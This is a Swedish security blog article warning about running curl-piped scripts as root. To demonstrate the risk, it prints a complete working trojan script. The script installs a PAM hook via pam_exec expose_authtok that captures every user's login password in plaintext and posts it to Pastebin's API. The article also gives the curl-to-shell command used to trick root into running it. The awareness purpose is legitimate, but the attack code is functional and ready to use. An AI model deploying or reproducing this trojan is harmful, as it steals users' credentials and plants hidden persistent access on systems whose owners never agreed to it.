Var försiktig med att curl:a skript som root
Att installera program i Linux genom att omdirigera utdata från Curl till skalet är snabbt och smidigt. Men det är ack så farligt om du inte känner till programmet eller dess ursprung.
För att demonstrera hur någon kan plantera skadlig kod på en
Linuxdator ska vi här skriva en enkel trojan. Vi placerar den därefter på en
webbserver. När någon – som användaren root – exekverar det genom curl
kommer
ett skript att placeras i /usr/local/bin/hack
. En rad kommer också att läggas
till i /etc/pam.d/common-auth
.
När någon sedan loggar in på datorn kommer den användarens lösenord att laddas
upp till ett Pastebin-konto. Filnamnet på Pastbin-kontot blir
användarnamn_password
. Innehållet i filen är användarens lösenord i klartext.
Trojanen använder PAM för att snappa upp lösenordet vid inloggning. Här
används alternativet expose_authtok
(expose authentication token) med
skriptet /usr/local/bin/hack
. PAM-alternativet expose_authtok
gör att det
går att utläsa användarens lösenord via standard input. Detta använder
skriptet /usr/local/bin/hack
. Lösenordet fångas upp till en variabel och
skickas till Pastebin via deras API.
Skapa och testa trojanen
Observera att koden för trojanen bara är testad på Debian och Ubuntu.
Vi börjar med att skapa en fil med namnet run-me.sh
och placerar det på en
webbserver. I mitt fall placerar jag det endast på en intern webbserver.
Innehållet i run-me.sh
ska vara följande:
#!/bin/bash
PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
if grep -q "/usr/local/bin/hack" /etc/pam.d/common-auth; then
exit 0
else
cat <<- "EOF" > /usr/local/bin/hack
#!/bin/bash
PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
PAM_PASSWORD=`cat -`
curl -X POST -d "api_dev_key=xxxyyyzzz" \
-d "api_paste_code=${PAM_PASSWORD}" -d "api_option=paste" \
-d "api_paste_private=2" -d "api_paste_name=${PAM_USER}_password" \
-d "api_user_key=aaabbbccc" \
"https://pastebin.com/api/api_post.php"
exit 0
EOF
chmod +x /usr/local/bin/hack
echo "auth optional pam_exec.so expose_authtok /usr/local/bin/hack" >> \
/etc/pam.d/common-auth
fi
I mitt fall går filen nu att nå på den interna adressen
http://kate.nixnet.jke/run-me.sh.
Nästa steg blir att lura en root-användare att köra skriptet. Skriptet ska då exekveras med kommandot:
curl http://kate.nixnet.jke/run-me.sh | sh -s -
När root-användaren väl har kört skriptet är det bara att vänta på att någon loggar in på datorn. Lösenordet kommer då att skickas i klartext till Pastbin-kontot. Det kommer att se ut som i bilden nedan.
Användaren jakes lösenord i klartext, som här är Kalle123
Avslutning
Så enkelt är det således att hacka ett system om man inte är försiktig med vad man exekverar som root. Det krävdes färre än 20 rader kod för att få användarnas lösenord skickade via Pastebin, allteftersom de loggar in på datorn. Då kan man bara fantisera om vad som skulle vara möjligt att åstadkomma med mer tid och resurser.
Kommentarer
Kommentarsfältet är modererat. Det innebär att alla kommentarer granskas av ansvarig utgivare före publicering.
Du väljer själv om du vill ange ditt riktiga namn, en pseudonym eller vara helt anonym. Ingen registrering behövs.
Relaterade artiklar
-
PGP-krypterat formulär
Jag blev inspirerad av Tutanotas Secure Connect – ett säkert webbformulär som skickar uppgifterna krypterat direkt till inkorgen. Skulle det inte gå att bygga något liknande med PGP? Det gick, och det var dessutom förvånansvärt enkelt då det redan finns ett GnuPG-bibliotek för PHP.
-
GDPR som ett stöd, inte ett hinder
Företag, föreningar och kommuner borde se GDPR som ett stöd och en vägledning, inte ett hinder. Trots det är det många som väntar ut Schrems II-domens efterspel för att inte behöva göra något. Andra försöker komma runt GDPR på olika sätt. Men man får glömma inte bort vem GDPR ska skydda – organisationens viktigaste tillgångar; kunderna, medlemmarna och invånarna.
-
Vidarebefordran av SSH-agenten
SSH agent forwarding, eller vidarebefordran av SSH-agenten, innebär att man kan vidarebefordra SSH-agenten till ett fjärrsystem. På så sätt behöver man inte kopiera sin privata SSH-nyckel till fjärrsystemet, eller skapa flera nycklar för olika system. Men det finns risker med det.
-
Tvåfaktorsautentisering vid SSH-inloggning
Med hjälp av en PAM-modul går det att aktivera tvåfaktorsautentisering i Linux med exempelvis Google Authenticator-appen. Linuxsystemet kräver då både användarens lösenord samt ett engångslösenord. Det går även att kombinera en SSH-nyckel med ett engångslösenord.
Senaste nyheterna och inläggen
-
Författarintervju med Josefin Hansson
År 2022 debuterade hon med boken “Ur askan en drake”. Boken tar upp duktiga flickan-syndromet och psykisk ohälsa. Hon har också varit ambassadör för Hjärnkoll och föreläst på bland annat Medborgarskolan. Idag driver hon eget företag inom samtalscoaching.
-
En chans att vinna Demonerna på internet
Företaget GleSYS lottar ut tre exemplar av vår bok Demonerna på internet i en tävling på LinkedIn. Passa på att tävla du också för en chans att vinna!
-
Störning hos SEBs internetbank
På söndag eftermiddag gick det inte logga in på SEBs internetbank. Webbsidan Downdetector hade vid klockan 14:30 fått in 240 rapporter om den pågående störningar. På SEBs kundtjänst är man medveten om problemet och meddelar att tekniker arbetar med att åtgärda det.
-
Datorparty i Landskrona
I helgen höll Syntax Society sitt årliga sommarparty. Platsen var en källarlokal i Landskrona där ett femtontal personer medverkade.
-
Titta på C64-demos
Med Commodore-emulatorn VICE går det att spela gamla C64-spel och titta på demos från demonpartyn. Men VICE under Debian Linux saknar några nödvändiga filer som vi behöver leta upp själva.
Utvalda artiklar
-
Datorparty i Landskrona
I helgen höll Syntax Society sitt årliga sommarparty. Platsen var en källarlokal i Landskrona där ett femtontal personer medverkade.
-
Det första Pågadata har ägt rum
I helgen ägde det första Pågadata rum – uppföljaren till Gubbdata. Platsen var Folkets Hus i Kvidinge. Organisatör av partyt var Johan “z-nexx” Osvaldsson med hjälp från Jesper “Skuggan” Klingvall. Partyt hade över 100 anmälda deltagare.
-
Även hovrätten fäller poliserna för att ha satt dit oskyldig
Hovrätten fastställer straffet för de två poliser som förra året dömdes till vardera ett års fängelse av Lunds tingsrätt för att ha misshandlat och satt dit en oskyldig man. De båda poliserna ska även betala skadestånd till mannen.
-
Retroloppis i Påarp
Idag var det retroloppis hos Andreas Nilsson i Påarp. På baksidan av huset fanns hundratals spel uppradade på långa bord. Trots friska vindar och sval temperatur var loppisen välbesökt.
-
Stort deltagande på årets Gubbdata
I helgen var det Gubbdata i Lund – ett av Sveriges största demoparty. På plats fanns cirka ett hundra deltagare, alla med en passion för retrodatorer.
CyberInfo Sverige är ett it- och medieföretag i nordvästra Skåne som tillhandahåller böcker, utbildningar, nyheter och konsulttjänster inom Linux, säkerhet och programmering.
CyberInfo Sverige är godkänd för F-skatt, är momsregistrerat och innehar
utgivningsbevis för webbplatsen www.cyberinfo.se.